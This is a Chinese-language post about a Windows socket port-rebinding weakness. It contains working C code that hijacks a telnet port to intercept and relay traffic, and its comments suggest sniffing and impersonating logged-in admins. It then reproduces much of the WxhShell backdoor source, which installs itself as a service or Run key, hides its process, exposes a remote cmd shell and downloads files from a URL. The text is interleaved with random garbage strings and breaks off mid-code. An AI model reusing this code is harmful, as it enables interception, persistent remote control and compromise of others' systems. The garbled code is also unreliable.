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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ya5HAs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oo-4WqRJ m/jyc#
L:u saddr.sin_family = AF_INET; %'=2Jy6h "KS"[i!3j saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7'65+c[& UZmUYSu; bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U1 *P H=*0KX{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %Y0BPTt$ avM8-&h 这意味着什么?意味着可以进行如下的攻击: `HnZ{PKf 6uKth mr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (d@(QJ !Q<3TfC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Wd+G)Mu_= N6p0` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZMr[:,Jp {T,}]oX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?Q+*[YEJ5 <P ?gP1_zi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kOdpW kP/<S<h,g 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y2tBFeWY !4gHv4v; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n[r1h=?j3 ujN~l_4 #include {dP6fr1z #include $)c[FR~a #include z C$F@ #include t9*e" QH DWORD WINAPI ClientThread(LPVOID lpParam); (3Xs int main() [{R>'~ { Z]WX 7d WORD wVersionRequested; __s'/6u DWORD ret; 0u&x%c WSADATA wsaData; RRYcg{g BOOL val; ut]UU*g^$ SOCKADDR_IN saddr; N!ay#V SOCKADDR_IN scaddr; ,UC|[-J int err; _Gt;= SOCKET s; i `p1e5$ SOCKET sc; 7lAJ
0 int caddsize; W"pHR sf HANDLE mt; =sv?))b` DWORD tid; Nu3IYS5& wVersionRequested = MAKEWORD( 2, 2 ); T-GvPl9ZJw err = WSAStartup( wVersionRequested, &wsaData ); cTn(Tv9s if ( err != 0 ) { VAjl?\}6 printf("error!WSAStartup failed!\n"); {q+gm1iC return -1; .@EzHe ^W } :?= 1aiS saddr.sin_family = AF_INET; JY"J} /.rj\, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,3eN& }.U(Gxu$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OC-d5P
saddr.sin_port = htons(23); c+7I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7J`v# { ;;rx)|\<R printf("error!socket failed!\n"); ^&y*=6C return -1; bivo7_ } GUM-|[~ val = TRUE; J#4pA{01w //SO_REUSEADDR选项就是可以实现端口重绑定的 \I/"W#\SJo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =jpRv<X|, { 0)\(y printf("error!setsockopt failed!\n"); ;{&4jcV* return -1; 1:M'|uc } pFiE2V_aS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #lSGH 5Fp? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2XV|( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "\rO}(gC;` /NR*<,c% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QhAYCw2 { oa5L5Zr,A ret=GetLastError(); jjv'"K2 printf("error!bind failed!\n"); F3$8l[O_ return -1; [;
$:Lr } I7SFGO listen(s,2); OEzSItAI/[ while(1) )k[XO { `WxGU caddsize = sizeof(scaddr); tj8o6N# //接受连接请求 F.(e}EMyNh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n!~QC if(sc!=INVALID_SOCKET) 0R+p\Nc&1 { wt'"<UN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ){u#
(sW if(mt==NULL) j5[>HL { 1|G5 W: printf("Thread Creat Failed!\n"); p14$XV break; jJ@@W~/)B } C R't } +]yVSns
3 CloseHandle(mt); 'Cz]p~oF } eYjF"Aq closesocket(s); 'cIFbjJ WSACleanup(); _U*1D*kLI[ return 0; 6 !fq658 } $Op:-aW& DWORD WINAPI ClientThread(LPVOID lpParam) ,O^kZ}b { H.l
WHM+H4 SOCKET ss = (SOCKET)lpParam; Po\+zZjo SOCKET sc; 8(A
k unsigned char buf[4096]; w)YTHY(k; SOCKADDR_IN saddr; &?y|Pn long num; |\"%Dy[m DWORD val; i*09m^r DWORD ret; ygQAA!&'] //如果是隐藏端口应用的话,可以在此处加一些判断 7<2?NLE8* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 4IM_6
saddr.sin_family = AF_INET; lD_iIe~c saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l#w0-n%S saddr.sin_port = htons(23); ogdAJw6 9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3z#fFP@E { eSMno_Gt3 printf("error!socket failed!\n"); ^;\6ju2 return -1; z|S4\Ae } 7-9HCP val = 100; (\%+id|/q@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NX]6RZr- { (15.?9 ret = GetLastError(); NB( GE return -1; '$ G%HUn } 9N) Ea:N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C8:y+pH_U; { )^E6VD&6 ret = GetLastError(); %6@m~;c0 return -1; pf=CP%L } {gDoktC@M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^*~4[?]S { *iPBpEWC printf("error!socket connect failed!\n"); &,]yqG 2 closesocket(sc); Aj> closesocket(ss); )hK;27m4 return -1; UC00zW<Z@" } 3+M+5 while(1) XR#?gx .} { ty9(mtH+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aprgThoD //如果是嗅探内容的话,可以再此处进行内容分析和记录 @XKVdtG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3);Wgh6 num = recv(ss,buf,4096,0); 8{CBWXo$) if(num>0) IF? send(sc,buf,num,0); $')Uie<!8 else if(num==0) q }9n. break; #q?:Act num = recv(sc,buf,4096,0); K*j1Fy: if(num>0) O0mQHpi: send(ss,buf,num,0); AAc2u^spx else if(num==0) "+4r4 break; &v+Hl^ } cn_ *,\} closesocket(ss); LQ"xm closesocket(sc); H.2aoZ-w return 0 ; m W4tW } v(jZ[{x@ @Z9>E+udQ }iB>3|\ ========================================================== Z2k5qs7g twPD'X!r 下边附上一个代码,,WXhSHELL TiI3<.a! -9"[/ ========================================================== piPV&ytI Jqt|'G3 #include "stdafx.h" 8.' THLI `SYq/6$VEH #include <stdio.h> 7)Bizlf #include <string.h> Yb>A?@S #include <windows.h> _qS4Ns/4s #include <winsock2.h> v,c:cKj #include <winsvc.h> `%0k\,}V #include <urlmon.h> 8uetv ,aSK L1 #pragma comment (lib, "Ws2_32.lib") sRGIHT# #pragma comment (lib, "urlmon.lib") yrrP#F 7!8R)m^1[ #define MAX_USER 100 // 最大客户端连接数 xa%2w] #define BUF_SOCK 200 // sock buffer J)=Ts({ #define KEY_BUFF 255 // 输入 buffer =$vy_UN RsP^T:M}$ #define REBOOT 0 // 重启 dxWG+S #define SHUTDOWN 1 // 关机 D4QLlP ZL- ` 3x #define DEF_PORT 5000 // 监听端口 uy=E92n3 1Q??R} #define REG_LEN 16 // 注册表键长度 DYL \=ya1 #define SVC_LEN 80 // NT服务名长度 &vS @-K ;8<lgZ9H< // 从dll定义API Kdd5ysTQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #TY[\$BHs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d0 yZ9-t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %@[ ~s,6< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CLY>M`%?+p ]=0$-ImQ@x // wxhshell配置信息 NE!] struct WSCFG { uB3Yl=P int ws_port; // 监听端口 @>hXh
+!2h char ws_passstr[REG_LEN]; // 口令 nA XWbavY int ws_autoins; // 安装标记, 1=yes 0=no @?<1~/sfL char ws_regname[REG_LEN]; // 注册表键名 7.1FRxS char ws_svcname[REG_LEN]; // 服务名 )m$i``*<
char ws_svcdisp[SVC_LEN]; // 服务显示名 C]%}L%, char ws_svcdesc[SVC_LEN]; // 服务描述信息 o_%gFV[q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'tzN.p1O int ws_downexe; // 下载执行标记, 1=yes 0=no Q!}LtR$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" hk+"c^g:j< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *Y9' tHI MG0d&[ }; ^o6&|q jD'$nKpg // default Wxhshell configuration W q>qso struct WSCFG wscfg={DEF_PORT, zvP>8[
"xuhuanlingzhe", #jR1ti)p 1, *6P)HU@ "Wxhshell", {(qH8A "Wxhshell", Qx}hiv/ "WxhShell Service", X0gWTs "Wrsky Windows CmdShell Service", `}&}2k "Please Input Your Password: ", LDq(WPI1# 1, nM&UdKf3 " http://www.wrsky.com/wxhshell.exe", ,L7:3W "Wxhshell.exe" *v9 {f? }; GxcW^{; ?$rHyI // 消息定义模块 7e`h,e= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;CdxKr-d char *msg_ws_prompt="\n\r? for help\n\r#>"; M/a5o|>8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 3D"?|rd~ char *msg_ws_ext="\n\rExit."; Fo[=Dh*AqU char *msg_ws_end="\n\rQuit."; !3Me
6&$O char *msg_ws_boot="\n\rReboot..."; 8qQrJFm|3* char *msg_ws_poff="\n\rShutdown..."; +%RB&:K7, char *msg_ws_down="\n\rSave to "; @)p?!3{" O_/|Wx char *msg_ws_err="\n\rErr!"; ~l>2NY char *msg_ws_ok="\n\rOK!"; ,*'aH z #`{L_n$c char ExeFile[MAX_PATH]; j+>&~ int nUser = 0; LuW^Ga"E HANDLE handles[MAX_USER]; ,Taq~ int OsIsNt; ?{*/VJl$ .LHzaeJCX SERVICE_STATUS serviceStatus; Y]Y]"y$1 SERVICE_STATUS_HANDLE hServiceStatusHandle; 9$:+5f,%a F
{T\UX // 函数声明 Gf1O7L1rX int Install(void); DFFB:< int Uninstall(void); {oc7Chv=/H int DownloadFile(char *sURL, SOCKET wsh); )MJy int Boot(int flag); GjvTYg~ void HideProc(void); $>y int GetOsVer(void); '2.11cM3 int Wxhshell(SOCKET wsl); dX:#KdK void TalkWithClient(void *cs); maTZNzy int CmdShell(SOCKET sock); TdH~sz int StartFromService(void); 9J'3b < int StartWxhshell(LPSTR lpCmdLine); h9L/.>CX GLIP;)h1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sOLR *=F{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); &24z`ZS[w6 h9 &V
// 数据结构和表定义 nH^RQ'19 SERVICE_TABLE_ENTRY DispatchTable[] = F|t_&$Is? { O:3DIT1#> {wscfg.ws_svcname, NTServiceMain}, i(@<KH {NULL, NULL} bZsg7[: C }; z@n779 i !u=,b fyH // 自我安装 fKZgAISF int Install(void) Kp_^ 2V? { fnm:Wa|,%| char svExeFile[MAX_PATH]; xg2
& HKEY key; M,b^W:('4 strcpy(svExeFile,ExeFile); ,HM~Zs [r5k8TB1 // 如果是win9x系统,修改注册表设为自启动 Jz6,2,LN if(!OsIsNt) { '}q1 F<& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %/x%hs;d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FI$#x%A RegCloseKey(key); jB-)/8.qk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CD+2
w
cy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h8lI#Gs RegCloseKey(key); pe1 _E
KU return 0; {<3>^ o|" } 19t' } {b6g!sE } vz_ZXy9Z else { H;OPA8\n .xp|w^ // 如果是NT以上系统,安装为系统服务 Ew kZzVuX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t846:Z%[ if (schSCManager!=0) a:3f>0_t { ;c_pa0L SC_HANDLE schService = CreateService w+0Ch1$ ( /o_h'l|PS schSCManager, b|HH9\ wscfg.ws_svcname, [d_sd wscfg.ws_svcdisp, zsx12b^w SERVICE_ALL_ACCESS, hj.Du+1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sR1
&2hB SERVICE_AUTO_START, br9`77J8 SERVICE_ERROR_NORMAL, aab?hR svExeFile, HKdR?HM1 NULL, !bHM:!6^ NULL, a~-^$Fzgy NULL, {PCf'n NULL, E |A,NPf%I NULL T?Dq2UW ); CF`fn6 if (schService!=0) tyLR_@i%% { \#A=twp CloseServiceHandle(schService); r2*'5jk_ CloseServiceHandle(schSCManager); K{&b "Ba1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 42m}c1R strcat(svExeFile,wscfg.ws_svcname); /j1p^=ARV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O<x53MN^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +RO=a_AS RegCloseKey(key); [,|Z< return 0; [n_H9$ } S0ct;CS } Y{8L ~U: CloseServiceHandle(schSCManager); ^8V cm* } U&|$B|[ } PUN.nt D=fB&7%@ return 1; fV;&)7d& } 0P_Y6w+ QJG]z'c+ // 自我卸载 63$ R') int Uninstall(void) 2ju1<t,8) { .F~EQ % HKEY key; cg,_nG]i }<wj~f([ if(!OsIsNt) { R<!WW9IM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B9_0 Yq RegDeleteValue(key,wscfg.ws_regname); [\ JZpF RegCloseKey(key); A/U tf0{3" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i`g>Y5 RegDeleteValue(key,wscfg.ws_regname); N[$(y}
!s RegCloseKey(key); T_}\ return 0; vR?L/G^. } Z6b3gV } X
|f'e@ } V#TA%> else { (!'; Oed&B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7 #,+Q(2 if (schSCManager!=0) (WW,]#^
{ a<V=C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S)"5X)mq if (schService!=0) |7zm!^t$ { ]sjOn?YA+ if(DeleteService(schService)!=0) { 2="C6
7TK CloseServiceHandle(schService); 'FBvAk6 CloseServiceHandle(schSCManager); qR_"aQ7s2 return 0; q\[31$i$ } w9}I*Nra CloseServiceHandle(schService); rr4yJ;qpeP } uF T\a= CloseServiceHandle(schSCManager); $ZDh8
*ND } ,>(M5\Z/c } H[x 9 7r ji(S ?^ return 1; "VWxHRVg4M } s=huOjKL]
k#%19B // 从指定url下载文件 |y%pP/;&! int DownloadFile(char *sURL, SOCKET wsh) 0;TMwE { "0L@cOyG HRESULT hr; /]xd[^ char seps[]= "/"; j.CC.[$g char *token; YA^9, q6u? char *file; CSU> nIE0 char myURL[MAX_PATH]; $zCUQthL@ char myFILE[MAX_PATH]; $)@zlnU HIhoYSwB strcpy(myURL,sURL); bi^LpyEn token=strtok(myURL,seps); i6m;2 UAa while(token!=NULL) U(./LrM05 { kX1hcAa file=token; zMrZ[AU token=strtok(NULL,seps); Zt` ,DM } xs &vgel> ,75,~ GetCurrentDirectory(MAX_PATH,myFILE); l!i B
-?'u strcat(myFILE, "\\"); kd\yHI9A strcat(myFILE, file); Mdwh-Cis/ send(wsh,myFILE,strlen(myFILE),0); JmYi& send(wsh,"...",3,0); "E2
g7n& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .
~|^du<X if(hr==S_OK) 0t4i'?? return 0; n?
s4"N6 else {8jG6 return 1; Q|G[9HBI '`o+#\,b^% } m@c2'*&Y 3!$rp- !<) // 系统电源模块 5WZLB = int Boot(int flag) 103Ik6.o { _X.M,id HANDLE hToken; Ar'5kPzY> TOKEN_PRIVILEGES tkp; GV[[[fu rbtPG=t_R if(OsIsNt) { WJ9u3+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hrAI@.Bo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \O/=g6w|t} tkp.PrivilegeCount = 1; 9) YG)A~< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jA]xpf6} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v5$zz w if(flag==REBOOT) { A`r&"i OKA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y2$%%@ return 0; 5!cplx=< } 2dI:],7 else { L,kF] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sU}e78m h return 0; \R#XSW, } q5RLIstQ\ } 4*dT|NU else { "1#,d#Q $ if(flag==REBOOT) { 1%=,J'AH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i'EXylb return 0; ss2:8up 99 } er<~dqZ}] else { L]tyL) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6a,YxR\ return 0; P2Eyqd8 } k<f*ns } <n`|zQ r-V./M@L return 1; l;;:3: } W.CIyGK >3Y&jsh< // win9x进程隐藏模块 Je*gMq:D void HideProc(void) FQ 4rA 4 { 0+H"$2/ {l1;&y? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hmi15VW if ( hKernel != NULL ) [j/-(?+ { (nzzX?`nY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l:[=M:#p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N!va12 FreeLibrary(hKernel); G
dooy~cn } AUq?<Vg\ /;>EyWW return;
6$Dbeb }
)Ob{] P6?Q;-\q0 // 获取操作系统版本 w7W-=\Hvh int GetOsVer(void) #nd,c n { _8`|KY OSVERSIONINFO winfo; X3>(K1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bC{~/ JP GetVersionEx(&winfo); ?:2Xh/8- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) doa$
;=wg return 1; Q7s1M&K else {%$=^XO return 0; mU_O64 } Tv KX8 m" !`Wu LhB` // 客户端句柄模块 &0"`\~lA int Wxhshell(SOCKET wsl) I
F@M { Nf~<xK SOCKET wsh; -Z@p
struct sockaddr_in client; O| 2Q-
@D DWORD myID; iOyYf!yg t&oNJq{ while(nUser<MAX_USER) l%IOdco# { E5dXu5+ye int nSize=sizeof(client); (o|E@d wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'K!kJ9oqe if(wsh==INVALID_SOCKET) return 1; )>/c/B OwEz(pj@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oMVwIdf if(handles[nUser]==0) j{PX ~/ closesocket(wsh); :8ZxO wwv else Y `{U45 nUser++; q}!4b'z^ } c' 6H@m#= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8+u8piG gM*s/,;O" return 0; Vh<`MS0X } ,y >Na{@Y ymzm x$o= // 关闭 socket S;NXOsSu void CloseIt(SOCKET wsh) ![ QQF| { {
nV zN( closesocket(wsh); >&VL2xLy nUser--; %L/=heBBd ExitThread(0); (pmo[2kg } q2Kn3{ jz)H?UuDY // 客户端请求句柄 piP8ObGjy void TalkWithClient(void *cs) Rc4EFHL { Q@8[q l1l >W;i2%T SOCKET wsh=(SOCKET)cs; I%p#E#[G char pwd[SVC_LEN]; qj1z>,\ char cmd[KEY_BUFF]; X=3@M_Jzo char chr[1]; #^9;<@M int i,j; cC4T3]4l' Zx_m?C_2_ while (nUser < MAX_USER) { coWB KWF ff#-USK^R if(wscfg.ws_passstr) { cabN<a
l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^6+x0[13 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #jX>FXo //ZeroMemory(pwd,KEY_BUFF); @I&"P:E0F; i=0; B /W$RcV while(i<SVC_LEN) { E(@;p%: FMVmH!E // 设置超时 oo!g?X[[ fd_set FdRead; qo@dFKy struct timeval TimeOut; /Uc*7Y5j FD_ZERO(&FdRead); |$PLZ, FD_SET(wsh,&FdRead); ng*%1;P TimeOut.tv_sec=8; =r~.I TimeOut.tv_usec=0; z m'jk D| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ! Cl/=0$[L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +2SX4Kxu Iqsk\2W]a3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qC )VT3 pwd =chr[0]; .N=hA if(chr[0]==0xd || chr[0]==0xa) { c
#kV+n< pwd=0; *3$,f>W^ break; HhvG#Sam! } {<kG{i/ i++; z (3"\ ^T } =FmU]DV x/=j$oA // 如果是非法用户,关闭 socket j;)6uia*A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |Z ,G
} H#inr^Xa E: GJ$I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); blcKtrYg send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vgj^ - lQBM0|n while(1) { Gq*)]X{Ua j;)g+9` ZeroMemory(cmd,KEY_BUFF); ^%&x{F. %K"%Qm=Tl // 自动支持客户端 telnet标准 F-^HN% j=0; `VtwKt* while(j<KEY_BUFF) { <+gl"lG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` a>vPW cmd[j]=chr[0]; v=tj.Vg if(chr[0]==0xa || chr[0]==0xd) { ozC!q)j cmd[j]=0; M N#C2 qz break; bSf(DSqx } Zjg\jo j++; "ILWIzf.] } @@IA35'tc {yR)}r // 下载文件 Wq(l :W' if(strstr(cmd,"http://")) { R`2A-c send(wsh,msg_ws_down,strlen(msg_ws_down),0); C8E C?fSQ if(DownloadFile(cmd,wsh)) [+g@@\X4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); wkD:i 2E7 else (0W}e(D8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jJZsBOW[8 } 8%<`$`FyU else { %i8>w:@NW IY6_JGe_w switch(cmd[0]) { yvCR = C Jwd&[
O // 帮助 d&uTiH? 0 case '?': { m> (h_j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SDHc[66' break; nKB&|! } ti^v%+r1 // 安装 ( 'n8=J case 'i': { E[.tQ|C if(Install()) p &>A5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -fJ@R1] else ~AanU1U< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cTd;p>:>m break; V wVQ|UH } PgLS\_B // 卸载 "F$o!Vk case 'r': { [fi'=Cb if(Uninstall()) `uh@iD'KI send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<-F|v9og else <{420 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rAWl0y_m break; +RV- VrV } S tnv> // 显示 wxhshell 所在路径 K3:|Tc( case 'p': { T_?nd T2 char svExeFile[MAX_PATH]; QZ3(u<f strcpy(svExeFile,"\n\r"); HDVl5X`j' strcat(svExeFile,ExeFile); fu<2t$Cn> send(wsh,svExeFile,strlen(svExeFile),0); `E5"Pmg break; P5>5ps"iU } `%M-7n9Y // 重启 W Gw!Y1wq case 'b': { 2l@"p!ar= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /;&+<
} if(Boot(REBOOT)) ggI=I<7M send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%YiZ# else { E0eQ9BXh closesocket(wsh); ]1d,O^S ExitThread(0); ^8NLe9~p3? } HCG@#W<wc break; [z% ?MIT } zk5=Opmvh // 关机 "6N~2q,SW case 'd': { ,.jHV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7grt4k if(Boot(SHUTDOWN)) D!}K)T1~R send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.)[9bQ< else { -~\.n closesocket(wsh); 6f?BltFaN ExitThread(0); 7q!yCU } tB7K&ssi break; n2d8;B# } N3gNOq& // 获取shell *)bd1B# case 's': { B9e.-Xaf CmdShell(wsh); W 9Vz[ closesocket(wsh); pSQCT ExitThread(0); zD2.Q%`IM break; a,~D+s;^ } sr+gD*@h // 退出 #_?TIY:h case 'x': { 'sRg4?PT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3X$Q, CloseIt(wsh); z0 2}&^Zzk break; /&$"}Z6z } TTZ['HP
oI // 离开 1a&/Zlr case 'q': { 5'X74` send(wsh,msg_ws_end,strlen(msg_ws_end),0); K)/!&{7n}a closesocket(wsh); %e
Sm&` WSACleanup(); y98JiNq exit(1); cXS;z.M\_ break; eb!s'@ } DhLr^Z!h3; } uZ\wwYY#M } ^E$(1><-a sK@Y!oF}\ // 提示信息 _k_>aG23 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xN`r4 } aGB0-;.t7 } JFRpsv m']9Q3- return; EWb(uWC8h } N^h|h '7Mep
] // shell模块句柄 t/KcXM int CmdShell(SOCKET sock) &@YFje6Lcm { n .f4z< STARTUPINFO si; B;z;vrrL ZeroMemory(&si,sizeof(si)); O`i)?BC si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X!o[RJY si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _BG8/"h32 PROCESS_INFORMATION ProcessInfo; &so-O90 char cmdline[]="cmd"; -RG8<bI, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P>*Fj4Z~ return 0; 5^i.;>(b } ,<@,gZru ]<27Sw&yaG // 自身启动模式 17>5#JLP int StartFromService(void) ]?0{(\ { Nfv="t9e typedef struct K,f* SXM { \G$QNUU DWORD ExitStatus; @[MO,J&h DWORD PebBaseAddress; kS B DWORD AffinityMask; {I0w`xe DWORD BasePriority; ePp[m
zg6 ULONG UniqueProcessId; SU%mmwES3 ULONG InheritedFromUniqueProcessId; #V.ZdLo( } PROCESS_BASIC_INFORMATION; PXw|
